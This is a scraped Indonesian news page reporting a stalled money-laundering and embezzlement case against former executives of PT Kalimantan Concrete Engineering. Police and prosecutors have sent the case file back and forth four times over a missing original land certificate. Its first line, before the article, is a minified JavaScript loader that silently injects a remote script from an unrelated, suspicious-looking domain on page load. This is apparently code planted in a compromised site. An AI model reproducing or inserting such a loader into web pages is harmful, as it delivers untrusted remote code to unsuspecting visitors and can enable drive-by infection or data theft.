(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Berkas Perkara Empat Kali Bolak-balik, Kasus TPPU PT KCE Mandek


KANALKALIMANTAN.COM, BANJARBARU – Pengusutan kasus dugaan Tindak Pidana Pencucian Uang (TPPU) dan penggelapan dalam jabatan di PT Kalimantan Concrete Engineering (KCE) masih mandek.

Lantaran terhambat alat bukti sertifikat tanah yang diagunkan ke Bank CIMB Niaga.

Hingga kini, alat bukti penting itu belum bisa dihadirkan melengkapi berkas perkara, hingga kasusnya masih berproses di Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalsel.

Sebelumnya penyidik Ditreskrimsus Polda Kalsel telah menetapkan dua tersangka dalam kasus ini.

Yakni, ARP (69) mantan Direktur Utama PT KCE dan istrinya IY (48) mantan komisaris perusahaan yang bergerak di bidang usaha jasa teknik sipil penyediaan tiang pancang dan beton prestress berbasis di Landasan Ulin, Kota Banjarbaru itu.

Baca juga: Kontes Kambing di Ibu Kota, Ini Kata Wali Kota Aditya

Keduanya dilaporkan mantan Komisaris PT KCE Yusti Yudiawati dengan kerugian lebih dari Rp 17 miliar.

Kuasa hukum pelapor, Muhammad Rusdi mengatakan, awal mulanya perusahaan ini berdiri di Kabupaten Tanah Bumbu, kemudian pindah ke Kota Banjarbaru pada beberapa tahun yang lalu.

Sebelumnya bekas direktur beserta istrinya itu mendirikan perusahaan yang sama yaitu beton pra cetak atau paku bumi. Mereka diduga membeli tanah untuk perusahaan serupa menggunakan uang dari PT KCE.

“Perkara dugaan TPPU sebenarnya sudah tahapan P-21 di Polda Kalsel, tapi ini totalnya sudah empat kali berkas perkara bolak-balik dikirim penyidik Ditreskrimsus Polda Kalsel juga ke penuntut umum Kejati Kalsel. Petunjuk jaksa minta sertifikat asli tanah yang dibeli uang PT KCE,” beber Muhammad Rusdi.

“Namun hingga sekarang dari pihak penyidik Ditreskrimsus Polda Kalsel itu masih belum di penuhi dengan alasan sertipikat telah diagunkan ke bank. Petunjuk jaksa penyidik mempunyai kewenangan untuk melakukan penggeledahan, tapi tidak dilakukan,” sambungnya.

Disisi lain Rusdi juga menyayangkan objek perusahaan yang masih belum dilakukan police line oleh pihak kepolisian.

Baca juga :PUPR Kalsel Laksanakan Sosialisasi Pengusulan DAK Air Minum dan Sanitasi

“Sampai sekarang masih belum dilakukan police line, kami mengharapkan itu,” ucap Rusdi didampingi pelapor Yusti Yudiawati, Rabu (24/5/2023) siang.

Dihubungi terpisah penyidik Ditreskrimsus Polda Kalsel Ipda Erik Saputra Ante membenarkan sekarang pihaknya masih berproses telah mengusut kasus dugaan TPPU yang melibatkan eks petinggi PT KCE itu.

“Saat ini, proses hukumnya masih berjalan. Kami baru saja menerima petunjuk dari jaksa peneliti dan penuntut umum guna melengkapi berkas perkara sebelum dilimpahkan ke pengadilan,” kata Ipda Erik Saputra Ante.

Menurutnya mengenai alat bukti berupa sertipikat tanah yang jadi agunan di bank swasta belum bisa dihadirkan untuk melengkapi berkas perkara yang ada.

“Untuk lebih lanjut, silakan konfirmasi ke Direktur Reskrimsus Polda Kalsel. Sebab, kami baru saja menerima petunjuk dari jaksa,” ucap Ipda Erik Saputra Ante.

Sementara itu jaksa peneliti Kejati Kalsel Herry Setiawan mengakui berkas pekara dugaan kasus TPPU PT KCE masih belum dilengkapi oleh penyidik Ditreskrimsus Polda Kalsel.

“Makanya, kami kembalikan ke penyidik kepolisian. Kami minta agar sertifikat tanah yang jadi pokok perkara dalam dugaan TPPU bisa dihadirkan bukti aslinya, bukan hanya fotokopi,” imbuh Herry Setiawan. (Kanalkalimantan.com/rdy)

Reporter: rdy
Editor: bie


Al Ghifari

Recent Posts

Dinas PUPR Balangan Perbaiki Jalan Muara Pitap – Lingsir

KANALKALIMANTAN.COM, PARINGIN - Kerusakan jalan di kawasan Muara Pitap - Lingsir dikeluhkan masyarakat pengguna jalan.… Read More

11 detik ago

Mahasiswa Profesi Ners ULM Penyuluhan KB di Desa Sungai Asam

KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More

19 menit ago

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

12 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

12 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

13 jam ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

14 jam ago

This website uses cookies.